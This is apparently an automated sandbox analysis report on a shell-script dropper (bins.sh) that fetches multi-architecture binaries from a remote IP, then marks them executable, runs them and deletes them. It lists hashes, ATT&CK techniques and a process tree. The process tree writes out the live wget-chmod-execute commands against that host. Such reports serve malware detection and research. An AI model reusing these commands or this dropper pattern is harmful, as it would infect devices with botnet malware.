1302f22445047deffaa6ff2c58b9fc8e6529dbcaae184c8d3673d77c8f275b81

Analysis

max time kernel
93s
max time network
96s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 16:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample261003-vgrhcsvsgs
SHA256 1302f22445047deffaa6ff2c58b9fc8e6529dbcaae184c8d3673d77c8f275b81
MD5 e8d7d61d9c01c6cdf287caf9347e1a48
SHA1 0869f2e35abc758ccdf40cd59a40d01c11f45927
SHA512 19287f2bbe31d9a47a8d0e3c46570c6ad7703db17f6a8aee8499142cbd5262f965c6d35cde03d21b16ad2c4cd9822553100a21a33a23a91f4baab9d628a8c83e
TLSH
T10B1121D651E10A36AC64D877B4AF4CE834D0E4C644E57F0818EC38F5648DE49F481B93
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
788	chmod
803	chmod
739	chmod
747	chmod
752	chmod
757	chmod
762	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/dissmips	740	bins.sh
/tmp/dissmpsl	748	bins.sh
/tmp/disssh4	753	bins.sh
/tmp/dissx86	758	bins.sh
/tmp/dissarm4	763	bins.sh
/tmp/adissarm5	774	bins.sh
/tmp/dissarm6	790	bins.sh
/tmp/dissarm7	805	bins.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
719	wget
740	dissmips
742	rm

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dissarm4	wget
File opened for modification	/tmp/adissarm5	wget
File opened for modification	/tmp/dissarm6	wget
File opened for modification	/tmp/dissarm7	wget
File opened for modification	/tmp/dissmips	wget
File opened for modification	/tmp/dissmpsl	wget
File opened for modification	/tmp/disssh4	wget
File opened for modification	/tmp/dissx86	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:715
- /usr/bin/wget
  wget http://104.168.4.206/dissmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod +x dissmips
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/dissmips
  ./dissmips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/rm
  rm dissmips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/wget
  wget http://104.168.4.206/dissmpsl
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x dissmpsl
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/dissmpsl
  ./dissmpsl
  2⤵
  PID:748
- /bin/rm
  rm dissmpsl
  2⤵
  PID:750
- /usr/bin/wget
  wget http://104.168.4.206/disssh4
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod +x disssh4
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/disssh4
  ./disssh4
  2⤵
  PID:753
- /bin/rm
  rm disssh4
  2⤵
  PID:755
- /usr/bin/wget
  wget http://104.168.4.206/dissx86
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x dissx86
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/dissx86
  ./dissx86
  2⤵
  PID:758
- /bin/rm
  rm dissx86
  2⤵
  PID:760
- /usr/bin/wget
  wget http://104.168.4.206/dissarm4
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod +x dissarm4
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/dissarm4
  ./dissarm4
  2⤵
  PID:763
- /bin/rm
  rm dissarm4
  2⤵
  PID:765
- /usr/bin/wget
  wget http://104.168.4.206/adissarm5
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod +x adissarm5
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/adissarm5
  ./adissarm5
  2⤵
  PID:774
- /bin/rm
  rm adissarm5
  2⤵
  PID:777
- /usr/bin/wget
  wget http://104.168.4.206/dissarm6
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod +x dissarm6
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/dissarm6
  ./dissarm6
  2⤵
  PID:790
- /bin/rm
  rm dissarm6
  2⤵
  PID:793
- /usr/bin/wget
  wget http://104.168.4.206/dissarm7
  2⤵
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod +x dissarm7
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/dissarm7
  ./dissarm7
  2⤵
  PID:805
- /bin/rm
  rm dissarm7
  2⤵
  PID:808

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

adissarm5

Path /tmp/adissarm5
Size 187KB
SHA256 93454bb24f440fb87464b0255adc9cc998555f040f49a1611f3473a10f369b26
MD5 0004beb2fe7386fc69ea518176af6780
SHA1 b599ee747760900f8e006dc0a4b96e05d635fa65
SHA512 39a7ecfc9169608cf57328d6c0650bd2290e920fea1d90371b746e9a324246d5656b1a15f6c750236a3d3bd8a737f3e9926c5ecd3cfab932163cde23956b2cc6
SSDEEP 3072:mK9YpzSNPo4mgcTV+O8A+y2PVho1ebrfTj8YsVzvzdZxTcZ+DZBHdfgXIO:lG+1o4lcTgOALdho1ebrf0vzdZxTcZ+6
TLSH
T15B140A05B8104B57C5C22BBBFB9F42993B326B58D7DB3301EA28BEB42F4679D1D29111
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm4

Path /tmp/dissarm4
Size 195KB
SHA256 4c7c802a848d039e803088e2bd16a4232b2bfbfc296eca7da32bb28941b36d9b
MD5 104c830aa0068e78d89376b61c94d57e
SHA1 c314150cac09227069c44751457efb588fd3e0ab
SHA512 57d8682dd4f458d81b85e9a9b3a47a6cb694151b9a0ea1062a6b69e9369ae63e151106e515801d9d0f9495867228bf3b1747a0f1aab1abd85764725015b9660b
SSDEEP 6144:EnEm5Xg4rLsMY4A5bbtjiwvudZ9AZZko4/oYOZWpO:ELg4r4J5NiwvudZ9AZyo4/oYOZWpO
TLSH
T1CD140B01B9504F57C5C22BBBF79F429937336B6897DB3302AA29BEB02F4678D1D29111
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm6

Path /tmp/dissarm6
Size 248KB
SHA256 ed59f092ced012f8c3ececda732201c7d1f6f4a71b1a801bd1a1ac8c5e6ca597
MD5 345d58d9c17109738e63cc4cdd474712
SHA1 6c725d0173d0229c646cf0927ea26abcb8941b3d
SHA512 cfa7a9c370d748d4ec286c36ae061d7b2baf7ea0bde41de33d1bffa1a421ac9da03926c6102d63af75679f3bbde9d876426a57b80dedf4cfbec779bb86cb9bc3
SSDEEP 6144:SKLDXr2z/4a7YTp6tVQCr20J7McCMmyC3cPoZ2yp65QDt:SADXrY4a7MaVQCrZX7myC3cPowyp65Qx
TLSH
T12B443B02E6408F57C4C21779BBAF42593733AB64D3DB33039A18BBB42F86B9D1E29515
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm7

Path /tmp/dissarm7
Size 220KB
SHA256 4a3e5cea8c00c380842a313342b8655e5de784a982c742ce12372e6e2b57f310
MD5 94a24cdc2af60730df589d8e457808fe
SHA1 bb2016e7cf91f7935964672ade60f2ff062d4ef2
SHA512 4e14157dbeab35b52842d7dc2b6c1be806c18a14a0d7cfdf3a80d4f777f8bbb5d6a29791b2125f35417447af0ec6eecfda509e523d4c60c5bff6425af571106d
SSDEEP 6144:e2wd8Hggavqy+BIP/vtb/EfnUyDDs+V/GKSxmi2AXvY9f:ePCHggavMBIP3lEfnUw/tSxmiFXvY9f
TLSH
T1B5243A05EB408B53C09227B9F69F43553333DB58E7EB73069628ABB43B877994F22106
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissmips

Path /tmp/dissmips
Size 249KB
SHA256 b54e43fe9b51d9e862fafc39e80328ebdda2722bc200368b861bccd440462275
MD5 2da9c4d3a908f9d67630b06ebdbae730
SHA1 21d8c30c1fd3e13d5014313233b25cd2363181c0
SHA512 81f991aafd40b42684e83dbf707ab0ca11d8a9bd0ba51941cab60be68f8723dc35da52d8e37433e2eb40aee6a3cf28fb14a9ed8e90ee07e854ebe7423714ff39
SSDEEP 6144:4LkYI/mokJDcBS5fkW6vIHcWGjqUxaB6vagYP:4W/Gd6vIHcWGjqUxaB6vagYP
TLSH
T18244A6163A11DFBFF568863007F38B7097D965962AE19746F26CD71C1F2028E680FBA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissmpsl

Path /tmp/dissmpsl
Size 250KB
SHA256 3ce5f9e3c75180effdab51f29f1a6c7833362e2e515f9bdc6b9cfe9347c80bac
MD5 c086d80dbc61320e82ba5adef3c5e3f3
SHA1 7a73ec542299da6d510e444c2ef48e6650f021af
SHA512 c9e6403c0f001e6cc13896e5298684292a469177e05efc775e00f7188b856e1ec8d43bd5f254578d77c808f06fe31eb3832d6cad3a04c368b8360216e6728dcc
SSDEEP 6144:JlmIUaA8thfcBTCpjZreS4zn5E6vjHcWGjqUxaB6vagYP:JlJR5SCNZrf+E6vjHcWGjqUxaB6vagYP
TLSH
T15044E607BB919EF7C85FCD3306F6861120CEF05725A46B2B7678DA1CBA0A94E49E3C54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

disssh4

Path /tmp/disssh4
Size 173KB
SHA256 3d1461814ff235e644a9c698e8cf99e862ffbce931fcb17380c2bdf2f61de638
MD5 2c94d6cff88075e8bc3e0ae90cf2cfaf
SHA1 474f32c09e415e044c3300c22c1ddc73d4efe339
SHA512 b9957ff21b49b635ce78621ce76cd508121579c88862e29786432cfdf6da3460a087f8bb8c74b992f68fda2d00431f6e7f0a7c4f4e33ff6ce47db295cb404400
SSDEEP 3072:Ulcjxqp41N5B8VkWLrDhgeqPaagIv2PwIobbGzlmBJIkpO:UlcjxqE29LrOeqPZgIv2PwIobbGzlmBs
TLSH
T1CD044B13AD655FA7C4865FB522B34A710713E8251F4B0F9AA23AEAF80607DCCF809774
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissx86

Path /tmp/dissx86
Size 193KB
SHA256 105cadd39caf4f1bb631211a78a59d5507eaa66d8473e3229751ef99540305e2
MD5 abe0d6b9c114edd868ab70e1ff35eb7a
SHA1 6dfda4980e1b7bc25420239c3f9c8859ca0a1ed5
SHA512 5fe4ab7f26ab09b7125a1384335dd4fe9389bd3336585bad246aef104b0c6aaa04d306f46f36b109adf1c2da2f0a81037994ca45ae4e22aa7bd21f4a8f801042
SSDEEP 3072:/l0eUfPbz5KyyjxwsfDck+lp4JxUec4lvQMkfFvvdZlxOLqpAnd5IqpO:PBHCjDMkNvvdZlxOLqpAnd5IqpO
TLSH
T1EE14290375D089FBC4C68FB51BDB95218933F8391B32624AB398BD991F0DED8AE1D614
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads